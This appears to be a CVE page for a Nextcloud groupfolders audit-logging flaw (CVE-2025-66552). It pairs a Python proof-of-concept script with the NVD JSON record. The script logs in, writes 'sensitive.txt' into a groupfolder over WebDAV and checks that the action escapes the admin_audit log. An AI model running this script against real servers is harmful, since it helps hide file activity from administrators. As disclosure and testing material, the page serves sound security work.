CVE-2025-66552

# CVE-2025-66552 PoC - Nextcloud Groupfolders Audit Bypass # This PoC demonstrates that operations on groupfolders are not logged by admin_audit import requests import json # Configuration NEXTCLOUD_URL = "https://your-nextcloud-server.com" USERNAME = "attacker" PASSWORD = "password" GROUPFOLDER_ID = "1" # ID of the groupfolder def authenticate(): """Authenticate to Nextcloud and get session token""" session = requests.Session() login_url = f"{NEXTCLOUD_URL}/index.php/login" # Perform login response = session.post(login_url, data={ "user": USERNAME, "password": PASSWORD }) return session def create_file_in_groupfolder(session): """Create a file in groupfolder - this should be logged but won't be due to the vulnerability""" # Create file via WebDAV file_url = f"{NEXTCLOUD_URL}/remote.php/dav/files/{USERNAME}/Groupfolders/{GROUPFOLDER_ID}/sensitive.txt" response = session.put(file_url, data="Sensitive data exfiltration") print(f"File creation response: {response.status_code}") return response.status_code == 201 def check_audit_log(session): """Check admin_audit log for the file creation event""" # Query audit logs - the file creation should NOT appear due to the vulnerability audit_url = f"{NEXTCLOUD_URL}/ocs/v2.php/apps/admin_audit/api/v1/logs" response = session.get(audit_url) logs = response.json() # Search for our file operation in logs for log in logs.get("ocs", {}).get("data", []): if "sensitive.txt" in str(log): print("File operation was logged (vulnerability may be fixed)") return True print("File operation was NOT logged - vulnerability confirmed!") return False def main(): print("CVE-2025-66552 PoC - Nextcloud Groupfolders Audit Bypass") print("=" * 60) session = authenticate() # Create file in groupfolder if create_file_in_groupfolder(session): print("[+] File created in groupfolder") # Check if it was logged check_audit_log(session) else: print("[-] Failed to create file") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-66552", "sourceIdentifier": "[email protected]", "published": "2025-12-05T17:16:05.687", "lastModified": "2025-12-10T15:14:47.713", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nextcloud Server is a self hosted personal cloud system. In Nextcloud Server and Enterprise Server prior to 30.0.9 and 31.0.1, incorrect path handling with groupfolders caused the admin_audit app to not properly log all actions on files and folders inside groupfolders. This vulnerability is fixed in Nextcloud Server and Enterprise Server prior to 30.0.9 and 31.0.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-778"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:nextcloud_server:*:*:*:*:-:*:*:*", "versionStartIncluding": "30.0.0", "versionEndExcluding": "30.0.9", "matchCriteriaId": "47EB7CCF-F24C-49BD-8F26-1C948A450CBF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:nextcloud_server:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "30.0.0", "versionEndExcluding": "30.0.9", "matchCriteriaId": "E99B7ACC-0CDA-4E0A-B4FB-704625706899"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:nextcloud_server:*:*:*:*:-:*:*:*", "versionStartIncluding": "31.0.0", "versionEndExcluding": "31.0.1", "matchCriteriaId": "D8631F6B-EED4-4B47-84C3-7BC63464AC15"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:nextcloud_server:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "31.0.0", "versionEndExcluding": "31.0.1", "matchCriteriaId": "52B7D78F-BCCC-4178-BB21-AB9587D11386"}]}]}], "references": [{"url": "https://github.com/nextcloud/security-advisories/security/advisories/GHSA-ww9m-f8j4-jj9x", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://github.com/nextcloud/server/commit/7cc005c43c72bc384848cf8cb851895827c412f6", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nextcloud/server/pull/50992", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://hackerone.com/reports/2890071", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}